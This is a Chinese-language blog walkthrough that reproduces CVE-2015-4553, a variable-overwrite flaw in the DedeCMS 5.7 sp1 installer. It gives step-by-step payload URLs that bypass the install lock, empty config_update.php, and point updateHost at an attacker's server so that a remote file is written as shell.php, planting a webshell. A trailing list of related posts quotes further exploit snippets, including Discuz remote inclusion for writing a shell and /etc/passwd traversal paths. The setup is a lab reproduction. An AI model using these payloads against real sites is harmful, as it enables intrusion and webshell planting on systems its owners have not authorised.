DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)

一、漏洞描述

该漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆盖,以至于最后引起远程文件包含漏洞。

二、漏洞影响版本

DeDeCMS < 5.7-sp1,包括5.7 sp1版本

三、漏洞环境搭建

1、下载DeDeCMS V5.7 SP1,然后放到phpstudy环境下的www目录下,然后浏览器访http://192.168.10.171/dedecms/uploads/install/index.php

  

2、点击我已阅读并继续。然后是环境检测,保存默认即可

  

3、接下来是参数配置,需要设置的只有数据库密码,把自己的密码填上去就行了

  

4、然后就把环境搭好了

  

四、漏洞复现

1、查看/install/index.php源码,发现存在变量覆盖漏洞,该代码的意思是将get,post或者cookie方式传入的值通过foreach以键值对的方式输出,例如在url中输入?str=hello,则$_k的值就是str,$_v的值就是hello,所以${$_k}就是$str, 后面的RunMagicQuotes函数在另一个文件中定义的,大致就是对参数进行过滤然后返回参数内容。

  

  

2、尝试通过变量覆盖重装网站,浏览器访问

  

3、变量覆盖后,直接进入安装界面,但是由于安装锁的存在不能继续重新安装,除非删除安装锁http://192.168.10.171/dedecms/uploads/install/index.php?insLockfile=1

  

4、只有变量覆盖暂时还不够,继续浏览代码,发现最后几行代码

  

4.1、这段代码首先包含了/data/admin/config_update.php文件, 这里定义了变量updateHost

文件内容如下:

  

4.2、继续看373-387行代码,$updateHost与dedecms/demodata.{$a_lang}.txt拼接为字符串,并利用files_get_contents函数读取demodata.{$s_lang}.txt文件内容,最后将该文件内容写入到$install_demo_name参数中。

4.3、因此我们可以结合上面的变量覆盖漏洞来进行远程文件包含,直接写webshell。

5、由于$updateHost变量是引入进来的,所以不能直接进行覆盖,需要先将config_update.php文件清空再包含。

5.1、这时候可以利用fopen函数来实现,可以看到fopen中的参数是w,会直接重写文件,而file_get_contents读取文件失败会返回NULL

  

5.2、然后利用fwrite函数,这里可以利用变量覆盖,将$s_lang随意取名成不存在的文件名, $install_demo_name指向”../data/admin/config_update.php”,为了程序能够执行到这里,需要将$step设置为11,这样就达到了清空config_update.php的目的。

构造payload: http://192.168.10.171/dedecms/uploads/install/index.php?

step=11&s_lang=test&install_demo_name=…/data/admin/config_update.php

浏览器访问,提示如下

  

5.3、查看代码,发现这里有一个判断文件是否存在(也就是判断网站是否安装)的条件,通过变量覆盖漏洞将$insLockfile构造成任意不存在的文件就可以绕过这个条件的限制

  

5.4、再次构造payload:

http://192.168.10.171/dedecms/uploads/install/index.php?step=11&s_lang=test&insLockfile=test&install_demo_name=../data/admin/config_update.php

  

5.5、此时可以看到config_update.php会发现已经变为0kb,空文件

  

5.6、config_update.php文件内容被清空之后,这时我们就可以控制updateHost参数了,这时我们就可以开始远程文件包含上传我们想要上传的文件了

5.7、在kali上创建一个dedecms文件夹,然后创建一个demodata.gb2312.txt,写入<?php phpinfo();?> ,然后开启web服务

  

5.8、再次构造payload, install_demo_name改为要上传的路径,updateHost改为远程目标机的IP

Payload如下:

http://192.168.10.171/dedecms/uploads/install/index.php?step=11&insLockfile=test&install_demo_name=../shell.php&updateHost=http://192.168.10.140/

浏览器访问,出现界面说明写入成功

  

5.9、查看是否上传成功,确定上传成功

  

6、浏览器访问上传的shell.php

  

总结

以上所述是小编给大家介绍的DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553),希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对我们网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

(0)

相关推荐

  • Dedecms getip()的漏洞利用代码

    author: superhei team:http://www.ph4nt0m.org blog:http://superhei.blogbus.com 在用户登陆后把用户信息写如了缓存:\include\inc_memberlogin.php function FushCache($mid=0) { if(empty($mid)) $mid = $this->M_ID; $dsql = new DedeSql(); $row = $dsql->GetOne("Select ID,

  • dedecms v5.1 WriteBookText() code injection vul注入漏洞

    \include\inc_bookfunctions.php  ---------------------------------------------------  --  复制代码 代码如下: function WriteBookText($cid,$body)   {<span id="more-1944"></span>   global $cfg_cmspath,$cfg_basedir;   $ipath = $cfg_cmspath."

  • DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)

    一.漏洞描述 该漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆盖,以至于最后引起远程文件包含漏洞. 二.漏洞影响版本 DeDeCMS < 5.7-sp1,包括5.7 sp1版本 三.漏洞环境搭建 1.下载DeDeCMS V5.7 SP1,然后放到phpstudy环境下的www目录下,然后浏览器访http://192.168.10.171/dedecms/uploads/install/index.php 2.点击我已阅读并继

  • PHP 网络开发详解之远程文件包含漏洞

    以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能. 复制代码 代码如下: <?php $file_name = $_GET["filename"]; //获得当前文件名 include("$file_name "); //包含文件 //一些其他操作 ?> 这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能.例如,通过在浏览器上访问http://localhost/test.php?filename=myinc

  • rgboard 3.0.12 远程文件包含漏洞

    vul code: \include\bbs.lib.inc.php: if (!defined('BBS_LIB_INC_INCLUDED')) { define('BBS_LIB_INC_INCLUDED', 1); // *– BBS_LIB_INC_INCLUDED START –* if(!$site_path) $site_path='./'; require_once "{$site_path}include/lib.inc.php"; //$site_path没有过滤直

  • 利用SMB共享来绕过php远程文件包含的限制

    利用SMB共享来绕过php远程文件包含的限制 在这篇博文中,我将为大家演示如何利用PHP应用中的远程文件包含漏洞的技术.我们将绕过php远程文件包含的限制,并执行RFI的利用,即使PHP环境被配置为不包含来自远程HTTP/FTP URL的文件. PHP 和 SMB 共享文件访问 在PHP配置文件中,"allow_url_include"wrapper默认设置为"Off",指示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击.但是,即使"a

  • 使用SMB共享来绕过php远程文件包含的限制执行RFI的利用

    在这篇博文中,我将为大家演示如何利用PHP应用中的远程文件包含漏洞的技术.我们将绕过php远程文件包含的限制,并执行RFI的利用,即使PHP环境被配置为不包含来自远程HTTP/FTP URL的文件. PHP 和 SMB 共享文件访问 在PHP配置文件中,"allow_url_include"wrapper默认设置为"Off",指示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击.但是,即使"allow_url_include"和

  • 详解PHP渗透测试文件包含漏洞与利用

    目录 什么是文件包含漏洞 文件包含漏洞的分类 本地文件包含 漏洞&利用 利用条件(以PHP为例) 直接访问文件 利用协议读取源代码 截断%00 长度截断 PHP的伪协议 file:// php:// data:// phar:// 远程文件包含 漏洞利用 远程包含webshell 代码审计 修复建议 什么是文件包含漏洞 文件包含,在网站开发人员开发网站时,会将经常重复的代码写道一个单独的文件中,在别的文件中可以使用文件包含的函数来引用单独的文件.目前很多语言都支持文件包含,例如php(inchu

  • 关于CVE-2020-1983:Tomcat 文件包含漏洞的问题

    目录 一.靶场环境 1.漏洞:任意文件包含 2.影响版本 二.搭建环境 1.启动环境 2.访问 3.漏洞利用 4.修复建议 起序:漏扫完看报告的时候发现的,复现学习一下. 一.靶场环境 使用的是 github 上的 vulhub 环境.Tomcat 版本为 9.0.30. 1.漏洞:任意文件包含 攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件.源代码等. 2.影响版本 Apache Tomcat 9.x < 9.0.31 Apach

  • php 伪造本地文件包含漏洞的代码

    代码: 复制代码 代码如下: <?php $page=$_GET['page']; include($page.'php'); ?> 你可以这样使用 http://www.xxx.com/index.php?page=../etc/passwd http://www.xxx.com/index.php?page=../../../etc/passwd http://www.xxx.com/index.php?page=..../../etc/passwd 获取更多数据: etc/profile

  • discuz许愿池插件远程包含漏洞

    许愿池插件的wish.php文件出的问题: require $discuz_root.'./include/discuzcode.func.php'; 手工利用方法: 远程包含漏洞,变量discuz_root过滤不严,利用方法: http://url/wish.php?discuz_root=http://www.neeao.com/xxxx.txt? 不一定非要txt后缀,可以改为任意后缀,后面一定要记得加问号. 这里xxxx.txt用CN.Tink的那个小马写个shell进去: <?copy

  • Oracle Database Server 'TNS Listener'远程数据投毒漏洞(CVE-2012-1675)的完美解决方法

    环境:Windows 2008 R2 + Oracle 10.2.0.3 应用最新bundle patch后,扫描依然报出漏洞 Oracle Database Server 'TNS Listener'远程数据投毒漏洞(CVE-2012-1675) •1.确定解决方案 •2.应用解决方案 •3.验证修补情况 •4.Reference 1.确定解决方案 安全厂家给出的解决办法: 链接:http://www.oracle.com/technetwork/topics/security/alert-c

随机推荐